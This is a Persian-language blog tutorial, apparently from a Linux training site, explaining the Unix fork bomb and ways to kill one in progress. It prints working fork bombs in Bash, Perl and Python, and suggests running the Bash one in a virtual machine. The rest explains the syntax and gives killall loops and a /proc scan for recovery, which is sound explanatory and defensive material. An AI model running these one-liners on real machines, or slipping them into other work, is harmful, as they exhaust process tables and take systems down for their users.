منبع اصلی نوشتار زیر در این لینک قرار دارد

مکانیزم بمب چنگال یا Fork Bomb Mechanism

سلام چند وقتیه که درگیر این مطلب هستم که اساس کار fork bomb رو که در شل اتفاق میوفته موشکافی کنم و برای جلوگیری ازش یه راه حل معقول پیدا کنم ، در ادامه میگم که چرا دنبال راه معقولش هستم.دوستان برنامه نویس و کسایی که علم جزئی در این زمینه دارند میدونن که یه نرم افزار اگه توی یه حلقه گیر بکنه و مدام تکرارش بکنه چه اتفاقی میوفته ( اصطلاحا اگه برنامه سیستمی باشه hang up اتفاق میوفته ) توی fork bomb هم به همین شکله که یه رشته اسکریپت کاری با سیستم لینوکسی میکنه که هیچکس نمیکنه . براساس ماهیتی که داره قابل توقف نیست یعنی با آغاز شدنش بسته به شرایط سخت افزاری سیستم هنگ میکنه و مجبور به ریستارت سخت افزاری میشیم ( دوستان رو سرور تست نکنید)

fork bomb در واقع یه حمله از نوع Denial Of Service هست که روی سیستم هایی با base لینوکس اتفاق میوفته. متوقف شدن fork ها مسلتزم متوقف شدن تمام پروسس هایی هست که ایجاد شده چون هر child process میتونه parent هزاران پروسس دیگه باشه ، آیا میشه همه رو kill کرد ؟

حالا فرض کنید یکی حوصله داره و میخواد همه رو kill کنه ، آیا امکان باز شدن یه شل دیگه و اجرای برنامه ای مثل ps هست ؟ این فرض هم بگیم درسته و برنامه ps باز میشه با توجه با تولد صدم ثانیه ای پروسس های child … دیگه چیزی نمیگم

300px-Fork_bomb

خوب حالا باید ببینیم که این اخلال گر چیه ؟ و تحت چه ارگانی کار میکنه ، پیشنهاد میکنم توی یه Centos توی VM دستور زیر رو وارد کنید :  ( روت یا یوزر معمولی فرقی نمیکنه )

:(){ :|: & };:

:() یه فانکشن رو فراخوانی میکنه یا میشه گفت تعریف میکنه ، : میگه که این فانکشن آرگومانی قبول نمیکنه . به شکل زیر

oslearn(){
 arg1=$1
 arg2=$2
 echo 'N3td3v!l'
 }

حالا کد بالا رو با کد زیر تطابق بدین :

:(){
 :|:&
};:

:|: به زبون ساده خروجی هر فانکشن رو pipe میکنه به همون فانکشن .

& برای اجرا شدن توی background

forkbomb

نمونه fork bomb به زبان پرل که فکر میکنم روی ویندوز هم جواب بده ( تست نکردم)

perl -e "fork while fork" &

نمونه به زبان پایتون :

import os
  while(1):
      os.fork()

bat فایل ویندوزی هم میتونین براش ایجاد بکنید که من کار نکردم :دی

کد بالا از دیدگاه Functionallity به شکل زیر اجرا میشه :

fork() { fork | fork & }; fork

با کمی دانش برنامه نویسی خواهیم فهمید که کد بالا فی الواقع یه تابع بازگشتی هست که running اش به لطف & در Background هست . child process ها بدون اینکه بمیرند به صورت قارچ گونه اضافه و اضافه میشوند که رفته رفته performance سیستم پائین میاد در نهایت چیزی برای کار کردن همین شلی که دارین باهاش کار میکنید نمی مونه . یکی از ویژگی های جالب که شاید مهم ترین ویژگی اونم باشه اینه که اگه یه پروسس متولد شده بعد از چندین عمل fork دیگه نتونه پروسس فرزند ایجاد کنه به جای اینکه از بین بره اصطلاحا توی کش رم میمونه یعنی pid نمی میره . به این پروسس ها do-nothing میگن.

در سیستمی که هنوز بالاست و به مشکل هنگ آپ نخورده میشه از کد زیر که از نوع ZShell هست استفاده کرد و از شر fork ها ظرف یکی دو دقیقه خلاص شد :

while (sleep 100 &) do; done

راه دیگه میتونه فریز کردن parent process و به سرعت kill  و kill all کردن تمامی چایلد ها براساس BombName شون ، باشه .

killall -STOP processWithBombName 
killall -KILL processWithBombName

اگه توی سیستم لینوکسی ماکزیمم pid تعیین شده باشه با ارور زیر مواجه میشیم : ( ماکزیمم pid هایی که میتونه به وجود بیاد توی فایل

/proc/sys/kernel/pid_max تعیین میشه )
$ killall -9 processWithBombName 
bash: fork: Cannot allocate memory

در مورد بالا خنثی کردن بمب ها منوط به باز بودن حداقل یه شل هست . به این ترتیب که پروسس ها دیگه تولید ندارند . میشه یک برنامه اجرا کرد ( توی همون شل )

killall -9 به صورت مستقیم توی شل اجرا نمیشه تو این شرایط چون اصطلاحا تجزیه ناپذیر نیست و پروسس ها رو از حالت قفل در نمیاره تنها راهی که میمونه اینه که یه حلقه while ایجاد کنیم

while :; 
do killall -9 processWithBombName; 
done

همونطور که میدونید پروسس ها توی لینوکس در فایل سیستم /proc به صورت منظم و مرتب قابل دسترس هستند . این امکان پذیر هست که از طریق bash Builtin به جای اینکه proccess های جدید رو fork کنیم ، جلوی تولید پروسس های مشکوک رو بگیریم . تو مثال زیر پروسس های مشکوک و fake شناسایی میشه و زاد و ولدشون متوقف میشه و در نهایت همگی با هم kill میشن . روش ذکر شده از روش های قبلی زود تر به نتیجه میرسه .

cd /proc;
for p in [0-9]*; do read CMDLINE < $p/cmdline; if [[ $CMDLINE == "processWithBombName" ]];
then kill -s SIGSTOP $p; fi; done
for p in [0-9]*; do read CMDLINE < $p/cmdline; if [[ $CMDLINE == "processWithBombName" ]];
then kill -s SIGKILL $p; fi; done

warning-banner

تذکر: تیم تخصصی او اس لرن هیچ گونه مسئولیتی در قبال عواقب پیش آمده به سبب استفاده نامناسب از آموزش فوق ، ندارد.

خوب تا اینجای کار رو داشته باشید تا توی پست بعدی روش های جلوگیری از این مشکل بزرگ رو هم توی یونیکس هم لینوکس به عرضتون برسونم .

امیدوارم که آموزش فوق براتون مفید واقع شده باشه . اگه جایی براتون سوال پیش اومده میتونین در قالب کامنت با بنده در میون بزارید .

پیروز و سربلند باشید.

نویسنده : محمد ورمزیار (N3td3v!l)

منبع : او اس لرن دات آی آر

 

برای مشاهده ی آنلاین PDF این مقاله بر روی مرورگر خود کلیک کنید

جهت دانلود این مقاله با فرمت ZIP کلیک کنید



برچسب ها : , ,